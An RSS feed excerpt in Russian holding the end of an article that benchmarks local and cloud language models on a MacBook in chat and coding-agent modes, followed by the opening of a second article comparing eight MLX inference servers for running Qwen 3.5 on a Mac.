data-colwidth=90 width=90&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:24&lt;td data-colwidth=92 width=92&gt;&lt;p align=left&gt;9.0&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;4:00&lt;tr&gt;&lt;td data-colwidth=211 width=211&gt;&lt;p align=left&gt;ChatGPT 5.3&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0:27&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=106 width=106&gt;&lt;p align=left&gt;0:27&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;0:32&lt;td data-colwidth=90 width=90&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;0:34&lt;td data-colwidth=92 width=92&gt;&lt;p align=left&gt;10.0&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;2:00&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Анализ результатов&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;скорость работы в режиме чата локальных моделей сравнима со скоростью облачных, однако локальные модели в общем дают худший результат (но не всегда) за то же время&lt;li&gt;&lt;p&gt;плотные модели Qwen3.5-27B-4bit и Qwen3.5-9B-4bit очень тяжелыми оказались для данного замера, было заметно, как кулеры начинали шуметь и компьютер начинал греться, хотя результаты у них получились лучше, время оказалось намного больше других результатов. На других моделях нагрузка не чувствовалась&lt;li&gt;&lt;p&gt;режим thinking помогает и локальным и облачным моделям генерировать лучший результат&lt;li&gt;&lt;p&gt;на втором этапе высокие оценки получили только 2 модели Qwen3.5-27B-4bit и Gemma-4-26B-A4B&lt;li&gt;&lt;p&gt;Gemma-4-26B-A4B очень хорошо выглядит на фоне других по качеству и скорости&lt;li&gt;&lt;p&gt;облачным моделям тоже нужно время на ответ, и иногда оно дольше, чем у локальных моделей, особенно в режиме thinking&lt;li&gt;&lt;p&gt;чем больше битность, тем дольше отвечает модель, особого прироста в качестве не было замечено&lt;li&gt;&lt;p&gt;GGUF и MLX: разница в скорости на Mac ожидаема, но оказалась не такой огромной&lt;/ul&gt;&lt;p&gt;Далее посмотрим, как те же модели справляются в агентском режиме.&lt;h2&gt;Замеры в режиме агента&lt;/h2&gt;&lt;p&gt;Проведем этот же эксперимент, но уже с агентами, а не в чате. Все агенты были из коробки, без дополнительных настроек скиллов, саб-агентов и др. В данном эксперименте замеры уже оказались дольше. И получившиеся результаты ниже:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;&lt;strong&gt;агент&lt;/strong&gt;&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;&lt;strong&gt;локальная модель&lt;/strong&gt;&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;&lt;strong&gt;время 1 этапа (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 1 этапа&lt;/strong&gt;&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;время review (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;&lt;strong&gt;время 2 этапа&lt;br&gt;(мин:сек)&lt;/strong&gt;&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 2 этапа&lt;/strong&gt;&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;&lt;strong&gt;время 3 этапа (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 3 этапа&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;&lt;strong&gt;суммарное время работы (мин:сек)&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;Qwen3.5-27B-4bit&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:04:16&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;3.5&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;-&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;-&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;-&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;-&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;-&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;-&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;nvidia-nemotron-3-nano-30b-a3b&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;10:16&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;1.0&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;-&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;-&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;-&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;-&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;-&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;-&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@4bit&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;2:53&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;1:40&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;3:10&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;7:22&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;6&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;15:05&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@5bit&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;3:47&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;2:36&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;5:23&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;3&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;9:34&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;7.5&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;21:20&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;qwen3.5-35b-a3b-4bit&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;5:49&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;3.5&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;4:17&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;13:44&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;3.5&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;33:13&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;9.0&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;57:03&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Aider&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@4bit&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;0:28&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;0&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;0:46&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;2&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:36&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;9.5&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;2:50&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Open Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;qwen3-coder-30b-a3b-instruct-mlx@4bit&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;2:32&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;2.0&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;0:42&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;0:33&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;2.5&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;3:46&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;9&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;7:33&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;gemma-4-26b-a4b&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;4:53&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;3.5&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;3:12&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;5:39&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;4.5&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;4:54&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;9&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;18:38&lt;tr&gt;&lt;td data-colwidth=190 width=190&gt;&lt;p align=left&gt;Claude Code&lt;td data-colwidth=336 width=336&gt;&lt;p align=left&gt;gemma-4-26b-a4b&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;1:14+2:01&lt;td data-colwidth=86 width=86&gt;&lt;p align=left&gt;3.0&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;3:30&lt;td data-colwidth=104 width=104&gt;&lt;p align=left&gt;4:36&lt;td data-colwidth=85 width=85&gt;&lt;p align=left&gt;6.0&lt;td data-colwidth=105 width=105&gt;&lt;p align=left&gt;9:53&lt;td data-colwidth=97 width=97&gt;&lt;p align=left&gt;10&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;21:14&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Пояснения:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Qwen3.5-27B-4bit и nvidia-nemotron-3-nano-30b-a3b после первого этапа нет изменений. Эксперимент с этими моделями был остановлен из-за слишком долгого выполнения первого этапа&lt;li&gt;&lt;p&gt;Claude Code два времени в 1 этапе, так как сначала делалась команда &lt;code&gt;/init&lt;/code&gt; , а потом уже выполнялась сама задача&lt;li&gt;&lt;p&gt;хотелось сделать замер qwen3-coder-30b-a3b-instruct-mlx@4bit и Claude Code, но на этапе ревью модель постоянно крашилась с ошибкой: Anthropic streaming error: The model has crashed without additional information. (Exit code: null). Возможная причина — нехватка памяти для контекста.&lt;li&gt;&lt;p&gt;при замерах MacBook заметно грелся и кулеры гудели, работать было не особо комфортно, температура под нагрузкой держалась около 100 градусов на GPU&lt;/ul&gt;&lt;details class=spoiler&gt;&lt;summary&gt;Скрин с температурой&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/aa6/1a1/26a/aa61a126a94c1ee03554edfb0a3009dd.png width=2450 height=882 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/aa6/1a1/26a/aa61a126a94c1ee03554edfb0a3009dd.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/aa6/1a1/26a/aa61a126a94c1ee03554edfb0a3009dd.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;И как и в прошлом эксперименте с чатом, попробуем сделать эксперимент с агентом и облачной моделью&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;&lt;strong&gt;агент&lt;/strong&gt;&lt;td data-colwidth=157 width=157&gt;&lt;p align=left&gt;&lt;strong&gt;облачная модель&lt;/strong&gt;&lt;td data-colwidth=117 width=117&gt;&lt;p align=left&gt;&lt;strong&gt;стоимость&lt;/strong&gt;&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;&lt;strong&gt;время 1 этапа (мин:сек)&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 1 этапа&lt;/strong&gt;&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;&lt;strong&gt;время review (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=112 width=112&gt;&lt;p align=left&gt;&lt;strong&gt;время 2 этапа (мин:сек)&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 2 этапа&lt;/strong&gt;&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;&lt;strong&gt;время 3 этапа (мин:сек)&lt;/strong&gt;&lt;td data-colwidth=100 width=100&gt;&lt;p align=left&gt;&lt;strong&gt;оценка после 3 этапа&lt;/strong&gt;&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;&lt;strong&gt;суммарное время работы (мин:сек)&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;Qwen Code CLI&lt;td data-colwidth=157 width=157&gt;&lt;p align=left&gt;Qwen3.6 Plus&lt;td data-colwidth=117 width=117&gt;&lt;p align=left&gt;0&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;3:05&lt;td&gt;&lt;p align=left&gt;5.0&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;4:32&lt;td data-colwidth=112 width=112&gt;&lt;p align=left&gt;2:45&lt;td&gt;&lt;p align=left&gt;4.5&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;3:03&lt;td data-colwidth=100 width=100&gt;&lt;p align=left&gt;8.5&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;13:25&lt;tr&gt;&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;Qwen Code plugin&lt;td data-colwidth=157 width=157&gt;&lt;p align=left&gt;Qwen3.6 Plus?&lt;td data-colwidth=117 width=117&gt;&lt;p align=left&gt;0&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;1:56&lt;td&gt;&lt;p align=left&gt;4.5&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;4:31&lt;td data-colwidth=112 width=112&gt;&lt;p align=left&gt;0:32&lt;td&gt;&lt;p align=left&gt;5.0&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;3:39&lt;td data-colwidth=100 width=100&gt;&lt;p align=left&gt;7&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;10:38&lt;tr&gt;&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=157 width=157&gt;&lt;p align=left&gt;Qwen3.5 Plus&lt;td data-colwidth=117 width=117&gt;&lt;p align=left&gt;$0,31&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;2:03&lt;td&gt;&lt;p align=left&gt;4.0&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;0:22&lt;td data-colwidth=112 width=112&gt;&lt;p align=left&gt;0:39&lt;td&gt;&lt;p align=left&gt;4.0&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;3:49&lt;td data-colwidth=100 width=100&gt;&lt;p align=left&gt;9&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;6:53&lt;tr&gt;&lt;td data-colwidth=171 width=171&gt;&lt;p align=left&gt;Kilo Code&lt;td data-colwidth=157 width=157&gt;&lt;p align=left&gt;Claude Opus 4.6&lt;td data-colwidth=117 width=117&gt;&lt;p align=left&gt;$3.35&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;2:22&lt;td&gt;&lt;p align=left&gt;5.5&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;0:50&lt;td data-colwidth=112 width=112&gt;&lt;p align=left&gt;3:47&lt;td&gt;&lt;p align=left&gt;8&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;5:16&lt;td data-colwidth=100 width=100&gt;&lt;p align=left&gt;10&lt;td data-colwidth=111 width=111&gt;&lt;p align=left&gt;12:15&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Пояснения&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;модель для Qwen Code указана как Qwen3.6 Plus, но достоверного подтверждения этому нет, информация взята из самого агента&lt;/ul&gt;&lt;h4&gt;Анализ результатов&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;секунды и минуты в режиме чата стали минутами и десятками минут в режиме агента, заметно, что режим агента со множеством вызовов и большим контекстом тяжелее дается локальным моделям&lt;li&gt;&lt;p&gt;во всех замерах с локальными моделями, разве что за исключением Aider, MacBook заметно нагревался и было ощущение, что Mac пытается взлететь. Кулеры практически не останавливаясь шумели.&lt;li&gt;&lt;p&gt;Gemma-4 единственная из моделей показала хорошие результаты на 2 этапе&lt;li&gt;&lt;p&gt;облачные модели здесь смотрятся заметно лучше по качеству, скорости и комфорту&lt;li&gt;&lt;p&gt;при работе агентов нужно много памяти не только на модель, но и на контекст, иногда файл подкачки раздувался до 20 ГБ&lt;li&gt;&lt;p&gt;чем проще агент, например Aider, тем быстрее он работает, но тем больше нужно с ним взаимодействовать&lt;li&gt;&lt;p&gt;Open Code работает заметно быстрее, поскольку генерирует меньше контекста&lt;li&gt;&lt;p&gt;Claude Code и Kilo Code генерируют больше контекста из-за чего модели тяжелее и она дольше работает&lt;li&gt;&lt;p&gt;агенты — это не только про написание кода, в половине замеров агенты предлагали скомпилировать java код, а также его запустить. Думаю тут зависит не только от агента, но и от модели. На модели qwen3-coder-30b-a3b-instruct-mlx@4bit редко были предложения скомпилировать, на остальных почти всегда.&lt;li&gt;&lt;p&gt;для локальных моделей лучше подходят более простые агенты Open Code и Aider, для Kilo Code и Claude Code кажется нужно заметно больше ресурсов.&lt;/ul&gt;&lt;h2&gt;Итоги и рекомендации&lt;/h2&gt;&lt;h3&gt;Общие выводы&lt;/h3&gt;&lt;p&gt;С одной стороны, полученные выводы довольно очевидны, с другой — интересны.&lt;p&gt;Если отвечать на вопрос, можно ли сегодня на компьютере уровня MacBook M4 работать с локальными моделями, однозначного ответа нет. Точнее, он есть, но с уточнениями.&lt;p&gt;В режиме чата сегодня вполне можно работать с локальными ИИ и получать довольно приемлемые результаты за приемлемую скорость, при этом данные остаются у вас. Стоит выбирать модели с MoE-архитектурой — они хороши по скорости и приемлемы по качеству.&lt;p&gt;В режиме агентов я бы скорее ответил, что для постоянной работы это не подходит, но для разовых задач — неплохо. Это связано с большой нагрузкой на систему и память. Обычно на рабочей станции кроме модели крутится ещё много всего: IDE, Docker, десяток вкладок в браузере, и ресурсов явно будет не хватать. Также постоянный нагрев и работа кулеров не добавляет комфорта.&lt;p&gt;Для себя ещё отметил разницу в скорости работы агентов. И что ревью кода разумно делать другой моделью, чем той, которая его писала — так результат получается лучше.&lt;p&gt;Также есть вера в светлое будущее, так как локальные модели и их работа оптимизируются, появляются такие решения, как TurboQuant, и новые модели.&lt;h3&gt;Рекомендации, которых я бы придерживался, если бы был ограничен только локальными моделями&lt;/h3&gt;&lt;p&gt;После работы с локальными моделями у меня сформировались следующие мысли, которыми я бы руководствовался, если бы у меня не было выбора и стояла задача использовать только локальную модель:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Развернуть модель на отдельном компьютере (например, Mac mini) и поставить его куда-нибудь подальше, где он будет шуметь. Так вам будет комфортнее работать на рабочем компьютере — не будет конфликта ресурсов между моделью, контекстом и вашими программами.&lt;li&gt;&lt;p&gt;Выбирать более свежие модели на MoE-архитектурах. Протестируйте несколько, посмотрите, какая лучше справляется с вашими задачами. Например, недавно вышла &lt;a href=https://huggingface.co/unsloth/Qwen3.6-35B-A3B-GGUF rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3.6&lt;/a&gt;&lt;li&gt;&lt;p&gt;Для простых задач лучше работать в режиме чата — это быстрее и продуктивнее.&lt;li&gt;&lt;p&gt;Если вы всё же решили использовать агентский режим, присмотритесь к более простым агентам, таким как Aider или OpenCode, вместо продвинутых вроде Kilo Code и Claude Code.&lt;li&gt;&lt;p&gt;Если думаете о покупке компьютера именно для LLM, лучше посмотреть расчёты скорости (например, &lt;a href=https://apxml.com/tools/vram-calculator rel=&#34;noopener noreferrer nofollow&#34;&gt;VRAM-калькулятор&lt;/a&gt;). А если планируете покупать Mac — ориентироваться на &lt;a href=https://omlx.ai/benchmarks rel=&#34;noopener noreferrer nofollow&#34;&gt;реальные замеры&lt;/a&gt;.&lt;li&gt;&lt;p&gt;Помните, что локальные модели почти всегда будут уступать в качестве большим облачным, вопрос только в том, насколько.&lt;/ul&gt;&lt;p&gt;Результаты работы моделей, исходные коды тестов и полные таблицы с замерами можно посмотреть на &lt;a href=https://github.com/sergio5990/llm_test_local rel=&#34;noopener noreferrer nofollow&#34;&gt;GitHub&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>sergio5990</author>
      <guid>https://habr.com/ru/articles/1024884/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024884</guid>
      <pubDate>Fri, 17 Apr 2026 22:28:47 +0000</pubDate>
    </item>
    <item>
      <title>Как я запускал Qwen 3.5 на Mac: бенчмарк 8 локальных LLM-серверов. Кто быстрее?</title>
      <link>https://habr.com/ru/articles/1024880/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024880</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Дано: MacBook Pro 16&amp;#34; M2 Max, 64GB unified memory, задача - гонять Qwen 3.5 35B moe локально как inference-сервер. Серверов для MLX - штук восемь, и каждый в README обещает «blazing fast». Я взял все, написал автоматический бенчмарк на восьми реальных задачах, прогнал пять итераций - и получил результаты, которые меня удивили.&lt;p&gt;гит моего бенча: &lt;a href=https://github.com/yaruslove/qwen3.5-bench-8-mlx-server-mac rel=&#34;noopener noreferrer nofollow&#34;&gt;https://github.com/yaruslove/qwen3.5-bench-8-mlx-server-mac&lt;/a&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/18/8c/0e/188c0ef49814964c24fa8062871cb8c7.png sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/18/8c/0e/188c0ef49814964c24fa8062871cb8c7.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/18/8c/0e/188c0ef49814964c24fa8062871cb8c7.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Сразу сниму главный вопрос - «а почему не llama.cpp?»&lt;/strong&gt; llama.cpp отличный и универсальный, но на Apple Silicon MLX стабильно быстрее на 10-30%, умеет настоящий continuous batching из коробки и хранит модели в нативном формате под unified memory - без промежуточной конвертации GGUF. Статья именно про MLX-экосистему: там внезапно оказалось восемь серверов, и между ними реальная разница, которая тянет на отдельный разбор. Сравнение с llama.cpp - тема отдельной статьи, и я её не избегаю, просто не смешиваю.&lt;p&gt;&lt;strong&gt;Зачем мне локальная 35B&lt;/strong&gt; - три причины:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Privacy.&lt;/strong&gt; В работу прилетают договоры, ТЗ, переписки с клиентами - это нельзя просто скормить в ChatGPT или Claude. Локальная модель обрабатывает всё без утечек: снимает ФИО, счета, контакты и возвращает чистый текст.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Coding-агенты и open-code.&lt;/strong&gt; Claude и GPT по подписке хороши, пока агент не гоняет задачи в цикле по восемь часов - тогда токены превращаются в кофейные зёрна. Все современные open-source тулы для AI-кодинга - &lt;strong&gt;OpenCode, Aider, Claude Code&lt;/strong&gt; - умеют подключаться к любому OpenAI-совместимому endpoint. Ставишь &lt;code&gt;base_url: http://mac.local:8000/v1&lt;/code&gt; и свой API-ключ - агент крутится на уже оплаченном железе, без телеметрии и rate-limit’ов. На работе я разрабатываю агентные системы, и мне постоянно нужно гонять свежие компактные LLM: с февраля ежедневным инструментом был GLM 4.7 Flash на 4090, теперь примеряю Qwen 3.5 35B на Mac.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Нет сетевого RTT.&lt;/strong&gt; 35B в 4-бит на M2 Max отвечает живее многих облачных API с очередью - просто потому что нет раунд-трипа через интернет. И запускать серьёзную модель на машине без отдельной видеокарты - это до сих пор ощущается как магия.&lt;/ul&gt;&lt;p&gt;Если коротко: три фреймворка идут ноздря в ноздрю на single-user, но стоит пустить два параллельных запроса - и четверо из шести откатываются в очередь, один выходит в &lt;strong&gt;2.17× speedup&lt;/strong&gt;, а ещё один вообще деградирует в &lt;strong&gt;0.85×&lt;/strong&gt;, пока не дашь ему &lt;code&gt;--workers 2&lt;/code&gt;. По ходу всплыли &lt;strong&gt;квадратичный attention в 2026 году&lt;/strong&gt;, &lt;strong&gt;фантомные 14000 tokens/sec&lt;/strong&gt; из-за одной строчки в SSE-парсере и &lt;strong&gt;зомби-процесс на 20GB RAM&lt;/strong&gt;, которого нет ни в одном README.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/5b/96/fe/5b96fe89b1833c1f17c8c9345551c846.png alt=&#34;Три фреймворка в пределах 2% - но это только single user&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/5b/96/fe/5b96fe89b1833c1f17c8c9345551c846.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/5b/96/fe/5b96fe89b1833c1f17c8c9345551c846.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Три фреймворка в пределах 2% - но это только single user&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Это single-user. С батчингом картина переворачивается - но до неё доберёмся через пятнадцать минут чтения.&lt;hr&gt;&lt;h3&gt;Зачем вообще всё это&lt;/h3&gt;&lt;p&gt;Хотелось простого. Mac - как локальный LLM-сервер. Сверху LiteLLM-гейтвей, дальше VPS с белым IP - чтобы дёргать Qwen по API как Open-AI compatiable из интернета, несколько ключей на несколько устройств. Требования короткие: OpenAI-совместимый endpoint (&lt;code&gt;/v1/chat/completions&lt;/code&gt;), нормальный батчинг под нескольких пользователей, стабильность.&lt;p&gt;Первое, что попробовал - &lt;code&gt;mlx-vlm&lt;/code&gt;. Это библиотека для vision-моделей, но в ней есть серверный режим. Запустил, получил &lt;strong&gt;15–25 tps&lt;/strong&gt;, половина запросов падает, LiteLLM коннектит, но под нагрузкой сервер просто отваливается. Ясно стало одно: это не готовый сервер. Нужен другой.&lt;p&gt;Альтернатива &lt;code&gt;mlx-vlm&lt;/code&gt; - MLX-экосистема целиком. Про выбор MLX вместо llama.cpp я уже сказал в начале, не повторяюсь; добавлю только живой источник - нашёл &lt;a href=https://www.reddit.com/r/LocalLLaMA/comments/1rezq19/qwen3535b_on_apple_silicon_how_i_got_2x_faster/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Reddit тред на r/LocalLLaMA&lt;/a&gt;, где народ меряет 2× разницу на Qwen 3.5 35B. Важнее другое: MLX-серверов оказалось много. Половину я узнал, только когда начал копать.&lt;p&gt;Я решил не гадать по README, а просто проверить все на одинаковых данных. Написал харнесс на Python, который запускает сервер как subprocess, ждёт healthcheck на &lt;code&gt;/v1/models&lt;/code&gt;, прогоняет восемь промтов в single-режиме, потом те же пары в двойном режиме через asyncio-барьер, собирает CSV и убивает процесс. Следующий фреймворк. И так шесть раз подряд, пять итераций.&lt;h4&gt;Короткая шпаргалка почему на новых мак можно инференсить: что такое MLX, если вы с NVIDIA&lt;/h4&gt;&lt;p&gt;Если фоном у вас CUDA и PyTorch - вот быстрые соответствия для мира Apple Silicon:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Metal&lt;/strong&gt; - это Apple-ский CUDA. GPU-API чипа M-series, на нём идут все matmul и attention. Аналог CUDA Toolkit.&lt;li&gt;&lt;p&gt;&lt;strong&gt;MLX&lt;/strong&gt; - это Apple-ский PyTorch + CUDA runtime в одном лице. Фреймворк Apple для ML, который компилируется напрямую в Metal. Вокруг него экосистема: &lt;code&gt;mlx-lm&lt;/code&gt; для LLM (аналог HuggingFace Transformers), &lt;code&gt;mlx.fast&lt;/code&gt; - оптимизированные операции, включая flash attention (аналог cuDNN).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unified memory&lt;/strong&gt; - ключевое отличие от NVIDIA. На RTX у вас 24GB VRAM и 64GB RAM &lt;strong&gt;отдельно&lt;/strong&gt;, копирование весов 